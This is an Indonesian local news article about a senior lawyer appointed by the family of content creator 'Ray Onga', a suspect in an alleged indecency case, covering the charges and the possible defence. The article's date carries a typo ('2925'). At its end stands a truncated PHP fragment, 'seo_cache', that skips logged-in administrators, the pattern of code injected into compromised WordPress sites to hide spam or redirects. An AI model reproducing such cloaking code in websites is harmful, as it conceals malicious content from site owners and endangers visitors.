Hukum

Pengacara Senior Yohanes Bulu Dappa Ditunjuk Keluarga Kreator Konten “Ray Onga” sebagai Kuasa Hukum

×

Pengacara Senior Yohanes Bulu Dappa Ditunjuk Keluarga Kreator Konten “Ray Onga” sebagai Kuasa Hukum

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM Keluarga kreator konten “Ray Onga” menunjuk pengacara senior Yohanes Bulu Dappa, SH, MH sebagai kuasa hukum.

Ditemui media ini, Senin (20/10/2925) di PN Waikabubak, Yohanes yang juga Ketua Posbakumadin Cabang Sumba Barat Daya tersebut membenarkan penunjukan dirinya untuk mendampingi Ray dalam kasus cabul sesama jenis itu.

Kreator konten “Yeremias Umbu Rei Pata alias “Ray Onga” yang kini jadi tersangka kasus dugaan cabul sesama jenis.

“Saya telah ditunjuk resmi oleh keluarga Yeremias Umbu Rei Pata untuk mendampinginya dalam proses hukum nanti,” terangnya.

Saat ini, kata dia, meski kliennya sudah ditahan tapi polisi masih melakukan pendalaman beberapa keterangan.

Ia menyebut, menurut polisi penahanan tersebut dilakukan karena sudah terpenuhi dua alat bukti yang cukup.

Ditanya peluang restoratif justice atas kasus ini, Yohanes belum bisa memberi pernyataan.

“Kita lihat dulu keterangan para saksi bagaimana ya ke depannya. Karena restorasi justice ini butuh pembuktian yang bisa mendukung,” ujarnya.

Apalagi, katanya lebih lanjut, baru kali ini terjadi kasus cabul sesama jenis antara laki-laki dengan laki-laki.

“Nah, baru terjadi ini, padahal berdasarkan keterangan terdakwa mereka teman kuliah di Bali,” sebut Yohanes.

Dikatakannya, dalam peristiwa itu ada juga tiga wanita yang keterkaitannya masih didalami dan diperiksa sebagai saksi.

Satu diantaranya adalah adik kandung korban, sedangkan dua lainnya rekan sesama kreator konten.

“Yang jadi tanda tanya bagaimana mungkin seorang laki-laki dengan seorang laki-laki, bisa jadi tersangka dan dikategorikan pencabulan,” timpalnya.

Ketua Persatuan Advokat Indonesia (Peradin) Kabupaten SBD ini menerangkan, oleh penyidik, Ray disangkakan Pasal 289 KUHP dan Pasal 290 KUHP.

Ancaman hukuman untuk Pasal 289 KUHP maksimal 9 tahun penjara, dan Pasal 290 ancaman hukumannya 7 tahun penjara.

“Itu kan ancamannya, tetapi nanti tergantung bagaimana proses di persidangan pengadilan hasilnya seperti apa,” imbuhnya.

Demikian halnya dengan tuntutan hukuman yang diajukan sangat tergantung kepada jaksa penuntut umum.

Ketika tuntutan sudah diajukan jaksa penuntut umum barulah pihaknya bisa menentukan pendapat pembelaan atau pleidoi, baik secara tertulis maupun pembelaan lisan.

Manakala kliennya telah mengaku bersalah melakukan perbuatan itu maka pihaknya akan mohon keringanan hukuman.

“Ketika nanti dia bilang, saya tidak melakukan, dan hanya sebagai korban maka pasti kami mohon dibebaskan,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>